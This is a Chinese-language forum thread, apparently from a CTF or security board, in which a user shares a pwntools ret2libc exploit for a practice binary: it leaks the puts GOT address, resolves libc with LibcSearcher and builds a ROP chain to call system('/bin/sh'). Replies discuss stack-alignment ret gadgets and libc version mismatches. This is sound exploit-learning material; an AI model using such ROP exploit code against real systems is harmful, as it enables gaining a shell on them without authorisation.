Panel 发表于 2023-6-14 10:18

ret2libc 遗憾版

题目:https://fbxy.lanzoum.com/i3zCP0z3tw1g





思路:根据输入泄露出puts的got地址,随后用libcsercher计算libc的基地址,最后找到system函数和/bib/sh字符串的地址,最后通过构造rop链去执行system(''/bin/sh),exp如下:
from pwn import *
from LibcSearcher import *

context(arch="amd64", os="linux" , log_level ="debug" )
p = process("./ret2libc")
e = ELF("./ret2libc")

puts_got_addr = e.got["puts"]

p.sendlineafter("Give me the address in hex: ",hex(puts_got_addr))

p.recvuntil("\nContent: ")

puts_real_addr = int(p.recvuntil("\n")[:-1])

print(hex(int(puts_real_addr)))

libc = LibcSearcher('puts',puts_real_addr)

libc_base = puts_real_addr-libc.dump('puts')

system_addr = libc.dump("system")+libc_base

bin_sh_addr = libc.dump('str_bin_sh')+libc_base

offset = 0x38

pop_rdi = 0x00000000004007d3 # pop rdi ; ret

paylload = offset*b'a'

paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)

p.sendlineafter("Give me your messege: ",paylload)

p.interactive()



但是运行exp失败了,各位师傅瞅瞅是那个地方有问题吗?

晨泽丶 发表于 2023-6-14 15:05

把这行代码paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)改成下面两行代码,看看可以打通不?

ret = 0x400760
paylload += p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)

Panel 发表于 2023-6-14 15:47

晨泽丶 发表于 2023-6-14 15:05
把这行代码paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)改成下面两行代码,看看可以打通不 ...

谢谢师傅,还是EOF了

KaguyaX 发表于 2023-7-19 00:42

可以尝试多换一点Libc文件,如果能上网可以试试联网的LibcSearcher,exp看不出来什么大问题,上面那个师傅的+ret是在Ubuntu 18开始才需要的栈对齐,如果是16及以下的libc通常是不需要的
应该就是libc文件的问题,上网查查题目的libc版本试试别的师傅的exp的本地偏移能不能做出来吧

Panel 发表于 2023-7-21 15:10

KaguyaX 发表于 2023-7-19 00:42
可以尝试多换一点Libc文件,如果能上网可以试试联网的LibcSearcher,exp看不出来什么大问题,上面那个师傅 ...

好的,多谢师傅
页: [1]
查看完整版本: ret2libc 遗憾版